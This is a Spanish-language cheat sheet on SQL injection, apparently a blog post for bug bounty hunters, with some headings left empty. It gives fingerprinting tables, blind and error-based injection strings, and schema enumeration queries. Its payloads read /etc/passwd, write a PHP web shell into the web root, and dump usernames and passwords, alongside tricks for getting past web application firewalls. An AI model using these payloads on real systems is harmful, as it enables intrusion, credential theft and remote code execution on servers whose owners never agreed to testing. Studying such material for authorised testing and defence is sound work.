¿Qué es SQL Injection (SQLi)?

Es una vulnerabilidad que permite a un atacante interferir con las consultas que una aplicación realiza a su base de datos. Permite ver datos que normalmente no se pueden recuperar, modificar o eliminar datos, causando cambios persistentes en el contenido o comportamiento de la aplicación. En muchos casos, un atacante puede escalar para comprometer el servidor subyacente o realizar una denegación de servicio.

Tipos de SQLi (Estrategias de Explotación)

El éxito depende de cómo se recibe la respuesta del servidor.

Fundamentos y Reconocimiento (Fingerprinting)

Para cualquier reporte de Bug Bounty, identificar el motor de base de datos (DBMS) es el primer paso crítico para elegir los payloads correctos.

|Característica|Oracle       |Microsoft SQL |PostgreSQL    |MySQL            |
|--------------|-------------|--------------|--------------|-----------------|
|Versión       |v$version    |@@version     |version()     |@@version        |
|Comentarios   |--           |-- o /* */    |-- o /* */    |#, -- o /* */    |
|Concatenación |'a'||'b'     |'a'+'b'       |'a'||'b'      |'a' 'b' o CONCAT |
|Batch Queries |No soportado |Soportado (;) |Soportado (;) |Limitado         |

Inyecciones Ciegas (Blind SQLi)

Cuando el servidor no refleja datos, se utiliza la lógica o el tiempo para extraer información.

Basadas en Errores (Extraer datos vía mensajes de error)

Se provoca que el servidor "confiese" el dato en un mensaje de error visible.

  • MySQL (XPATH): EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) -> Error: \secret.
  • PostgreSQL: CAST((SELECT password FROM users LIMIT 1) AS int) -> Error de sintaxis con el valor.
  • Oracle: SELECT CASE WHEN (CONDICIÓN) THEN TO_CHAR(1/0) ELSE NULL END FROM dual.

Basadas en Tiempo (Time-Based)

Si la condición es verdadera, el servidor tarda en responder.

  • MySQL: IF(CONDICIÓN, SLEEP(10), 'a').
  • PostgreSQL: CASE WHEN (CONDICIÓN) THEN pg_sleep(10) ELSE pg_sleep(0) END.
  • MS SQL: IF (CONDICIÓN) WAITFOR DELAY '0:0:10'.
  • Oracle: CASE WHEN (CONDICIÓN) THEN 'a'\|\|dbms_pipe.receive_message(('a'),10) ELSE NULL END.

Enumeración del Contenido (Data Mining)

El objetivo es demostrar impacto listando tablas y columnas sensibles.

Enumerar Tablas:

  • General: SELECT table_name FROM information_schema.tables.
  • Oracle: SELECT table_name FROM all_tables.

Enumerar Columnas:

  • General: SELECT column_name FROM information_schema.columns WHERE table_name = 'USERS'.
  • Oracle: SELECT column_name FROM all_tab_columns WHERE table_name = 'USERS'.

Vectores de Inyección Estratégicos

Tier S (Acceso Directo):

  • ORDER BY: Útil para identificar el número de columnas sin romper la query original.
  • GROUP BY: A veces evade filtros que buscan la palabra ORDER.
  • UPDATE / INSERT: Permite cambiar contraseñas de admin o crear usuarios nuevos.

Tier A (Extracción de Datos):

  • information_schema.tables: El mapa del tesoro en MySQL/PostgreSQL.
  • sysobjects: El equivalente en MS SQL.

Tier B (Evasión):

  • HEX() / UNHEX(): Para enviar strings como valores hexadecimales y evadir WAFs.
  • CHAR(): Construir comandos carácter por carácter.

Payloads de Bug Bounty

Nivel: Crítico (Exfiltración y Control)

Lectura de Archivos (LOAD_FILE):

  • Por qué paga: Demuestra lectura de archivos sensibles del sistema operativo.
  • Payload:
' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3--

Escritura de Web Shell (INTO OUTFILE):

  • Impacto: RCE (Remote Code Execution). El "Santo Grial" del Bug Bounty.
  • Payload:
' UNION SELECT "<?php system($_GET['<command>']); ?>",2 INTO OUTFILE '/var/www/html/shell.php'--

Dump de Usuarios:

  • Payload:
' UNION SELECT null, concat(user,':',password), null FROM users--

Nivel: Alto (Escalada de Privilegios)

  1. user() / current_user: Saber si la DB corre como root o sa.
  2. @@version: Identificar versiones vulnerables a exploits específicos del motor.

Técnicas de Evasión y Payloads "Battle-Tested"

Estrategias para saltar WAFs y filtros comunes.

  • Substrings Avanzados: En Oracle, usa índices negativos: SUBSTR('foobar', -2, 1) devuelve 'a'.
  • Case Sensitivity: Si bloquean SELECT, prueba sElEcT o SELect.
  • Comentarios Inline: UNION/**/SELECT para romper la detección de firmas de espacio.
  • URL Encoding Doble: %2527 en lugar de '.
  • Lógica Inversa: WHERE id = -1 OR 1=1 (usar un ID que no existe para forzar la visualización de tu inyección).

Tabla de Payloads

Conéctate conmigo

¿Te fue útil esta información? Puedes encontrar más contenido en:

Support Me ☕